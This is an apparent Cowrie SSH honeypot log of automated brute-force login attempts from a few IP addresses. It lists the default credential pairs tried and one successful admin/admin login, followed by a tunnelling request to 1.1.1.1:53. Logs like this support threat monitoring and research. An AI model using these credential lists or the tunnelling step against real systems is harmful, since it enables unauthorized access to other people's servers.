0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:25:08.587599Z","src_ip":"45.153.34.114","session":"5f9e346cb065","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"redhat","message":"login attempt [root/redhat] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:25:08.841342Z","src_ip":"45.153.34.114","session":"5f9e346cb065","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:25:09.930048Z","src_ip":"45.153.34.114","session":"5f9e346cb065","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":49950,"dst_ip":"159.203.135.109","dst_port":22,"session":"d2b83f515965","protocol":"ssh","message":"New connection: 103.75.199.4:49950 (159.203.135.109:22) [session: d2b83f515965]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:25:12.997191Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:25:13.002110Z","src_ip":"103.75.199.4","session":"d2b83f515965","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:25:13.093492Z","src_ip":"103.75.199.4","session":"d2b83f515965","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"airflow","password":"airflow","message":"login attempt [airflow/airflow] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:25:13.367431Z","src_ip":"103.75.199.4","session":"d2b83f515965","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:25:14.460992Z","src_ip":"103.75.199.4","session":"d2b83f515965","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":53046,"dst_ip":"159.203.135.109","dst_port":22,"session":"92bbaa2d69db","protocol":"ssh","message":"New connection: 45.153.34.114:53046 (159.203.135.109:22) [session: 92bbaa2d69db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:25:15.786792Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:25:15.794789Z","src_ip":"45.153.34.114","session":"92bbaa2d69db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:25:15.880135Z","src_ip":"45.153.34.114","session":"92bbaa2d69db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"123456789","message":"login attempt [user1/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:25:16.137468Z","src_ip":"45.153.34.114","session":"92bbaa2d69db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:25:17.225286Z","src_ip":"45.153.34.114","session":"92bbaa2d69db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":58664,"dst_ip":"159.203.135.109","dst_port":22,"session":"c8b2bbe22918","protocol":"ssh","message":"New connection: 45.153.34.114:58664 (159.203.135.109:22) [session: c8b2bbe22918]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:25:22.755891Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:25:22.760584Z","src_ip":"45.153.34.114","session":"c8b2bbe22918","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:25:22.845496Z","src_ip":"45.153.34.114","session":"c8b2bbe22918","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hduser","password":"hduser","message":"login attempt [hduser/hduser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:25:23.115628Z","src_ip":"45.153.34.114","session":"c8b2bbe22918","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:25:24.206557Z","src_ip":"45.153.34.114","session":"c8b2bbe22918","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":54202,"dst_ip":"159.203.135.109","dst_port":22,"session":"c33a28cdda99","protocol":"ssh","message":"New connection: 45.153.34.114:54202 (159.203.135.109:22) [session: c33a28cdda99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:25:30.232680Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:25:30.237278Z","src_ip":"45.153.34.114","session":"c33a28cdda99","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:25:30.326447Z","src_ip":"45.153.34.114","session":"c33a28cdda99","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"esearch","password":"esearch","message":"login attempt [esearch/esearch] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:25:30.586824Z","src_ip":"45.153.34.114","session":"c33a28cdda99","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:25:31.672762Z","src_ip":"45.153.34.114","session":"c33a28cdda99","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":58476,"dst_ip":"159.203.135.109","dst_port":22,"session":"405c146d63ea","protocol":"ssh","message":"New connection: 103.75.199.4:58476 (159.203.135.109:22) [session: 405c146d63ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:25:34.915529Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:25:34.920052Z","src_ip":"103.75.199.4","session":"405c146d63ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:25:35.011296Z","src_ip":"103.75.199.4","session":"405c146d63ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"chris","password":"chris","message":"login attempt [chris/chris] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:25:35.289203Z","src_ip":"103.75.199.4","session":"405c146d63ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:25:36.384075Z","src_ip":"103.75.199.4","session":"405c146d63ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":54218,"dst_ip":"159.203.135.109","dst_port":22,"session":"201360677d9a","protocol":"ssh","message":"New connection: 45.153.34.114:54218 (159.203.135.109:22) [session: 201360677d9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:25:38.148054Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:25:38.153424Z","src_ip":"45.153.34.114","session":"201360677d9a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:25:38.241385Z","src_ip":"45.153.34.114","session":"201360677d9a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jenkins","password":"12345","message":"login attempt [jenkins/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:25:38.647091Z","src_ip":"45.153.34.114","session":"201360677d9a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:25:39.820734Z","src_ip":"45.153.34.114","session":"201360677d9a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":48490,"dst_ip":"159.203.135.109","dst_port":22,"session":"b565c5f50a5b","protocol":"ssh","message":"New connection: 45.153.34.114:48490 (159.203.135.109:22) [session: b565c5f50a5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:25:45.622866Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:25:45.627629Z","src_ip":"45.153.34.114","session":"b565c5f50a5b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:25:45.712762Z","src_ip":"45.153.34.114","session":"b565c5f50a5b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"huawei","message":"login attempt [root/huawei] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:25:45.995448Z","src_ip":"45.153.34.114","session":"b565c5f50a5b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:25:47.084099Z","src_ip":"45.153.34.114","session":"b565c5f50a5b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":30202,"dst_ip":"10.17.0.5","dst_port":22,"session":"b49acd1e9859","protocol":"ssh","message":"New connection: 87.251.64.176:30202 (10.17.0.5:22) [session: b49acd1e9859]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:25:50.099499Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:25:50.103533Z","src_ip":"87.251.64.176","session":"b49acd1e9859","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:25:50.199385Z","src_ip":"87.251.64.176","session":"b49acd1e9859","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:25:50.488411Z","src_ip":"87.251.64.176","session":"b49acd1e9859","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:25:50.587705Z","session":"b49acd1e9859","protocol":"ssh"}
